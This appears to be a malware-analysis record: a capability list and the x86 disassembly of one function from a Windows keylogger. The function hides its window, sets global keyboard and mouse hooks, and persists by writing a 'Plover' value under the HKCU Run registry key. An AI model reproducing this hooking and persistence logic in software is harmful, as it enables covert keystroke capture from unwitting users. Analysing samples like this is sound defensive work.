Function at 0x402f60
Capabilities:
Create thread
Get common file path
Hide graphical window
Log keystrokes via application hook
Persist via run registry key
Set global application hook
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x26c
mov eax, dword [0x445040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, ecx
mov ecx, str.Redirect_Started
call fcn.00414a00
mov esi, dword [sym.imp.USER32.dll_LoadStringW]
push 0x64
push 0x447628
push 0x67
push edi
call esi
push 0x64
push 0x447560
push 0x6d
push edi
call esi
push 0
push 0x43f7a6
mov ecx, 0x445ae4
call fcn.00408a30
push 0x4046b0
push 0x2932e00
push 0x8198
push 0
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0
push 0x4046d0
call fcn.00423892
mov esi, dword [sym.imp.USER32.dll_LoadIconW]
add esp, 0xc
mov dword [ebp - 0x34], 0x30
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0x403830
push 0x6b
push edi
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], edi
call esi
push 0x7f00
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
push 0x6c
push dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0x447560
call esi
mov dword [ebp - 8], eax
lea eax, [ebp - 0x34]
push eax
call dword [sym.imp.USER32.dll_RegisterClassExW]
push 0
push edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0x80000000
push 0x447628
push 0x447560
push 0x80
mov dword [0x44755c], edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x40310c
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
push str.search5588
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
or dword [0x447554], 2
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExW]
push 0
push dword [0x44755c]
mov dword [0x447558], eax
push 0x4019a0
push 0xd
mov dword [0x44753c], 1
mov dword [0x447534], 1
mov dword [0x447540], 0
mov dword [0x447538], 0
call esi
push 0
push dword [0x44755c]
mov dword [0x447550], eax
push 0x4018b0
push 0xe
call esi
push 0
push 0
push 0x401810
push 3
mov dword [0x44754c], eax
call esi
xor eax, eax
mov dword [ebp - 0x26c], 0
push 0x206
push eax
mov word [ebp - 0x268], ax
lea edi, [ebp - 0x60]
lea eax, [ebp - 0x266]
mov ecx, 0x17
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00419170
add esp, 0xc
lea eax, [ebp - 0x268]
push 0
push 0x1c
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea edi, [ebp - 0x268]
add edi, 0xfffffffe
nop
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x403160
mov eax, dword [0x440c5c]
lea edx, [ebp - 0x268]
mov dword [edi], eax
add edx, 0xfffffffe
nop dword [eax]
mov cx, word [edx + 2]
lea edx, [edx + 2]
test cx, cx
jne 0x403180
mov ecx, dword [str.Tracy]
lea edi, [ebp - 0x268]
mov dword [edx], ecx
add edi, 0xfffffffe
mov ecx, dword [0x43fa18]
mov dword [edx + 4], ecx
mov ecx, dword [0x43fa1c]
mov dword [edx + 8], ecx
nop
mov cx, word [edi + 2]
lea edi, [edi + 2]
test cx, cx
jne 0x4031b0
lea edx, [ebp - 0x268]
mov dword [edi], eax
add edx, 0xfffffffe
nop word [eax + eax]
mov cx, word [edx + 2]
lea edx, [edx + 2]
test cx, cx
jne 0x4031d0
mov ecx, dword [str.Birds]
lea edi, [ebp - 0x268]
mov dword [edx], ecx
add edi, 0xfffffffe
mov ecx, dword [0x43fa24]
mov dword [edx + 4], ecx
mov ecx, dword [0x43fa28]
mov dword [edx + 8], ecx
nop
mov cx, word [edi + 2]
lea edi, [edi + 2]
test cx, cx
jne 0x403200
mov dword [edi], eax
lea ecx, [ebp - 0x268]
pop edi
add ecx, 0xfffffffe
pop esi
nop dword [eax]
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x403220
mov eax, dword [0x43fa2c]
mov dword [ecx], eax
mov eax, dword [0x43fa30]
mov dword [ecx + 4], eax
mov eax, dword [0x43fa34]
mov dword [ecx + 8], eax
mov eax, dword [0x43fa38]
mov dword [ecx + 0xc], eax
mov eax, dword [0x43fa3c]
mov dword [ecx + 0x10], eax
mov ax, word [0x43fa40]
mov word [ecx + 0x14], ax
lea eax, [ebp - 0x26c]
push eax
push 0xf003f
push 0
lea eax, [ebp - 0x60]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
js 0x4032ab
push 0x104
lea eax, [ebp - 0x268]
push eax
push 1
push 0
push str.Plover
push dword [ebp - 0x26c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x26c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415d2d
mov esp, ebp
pop ebp
ret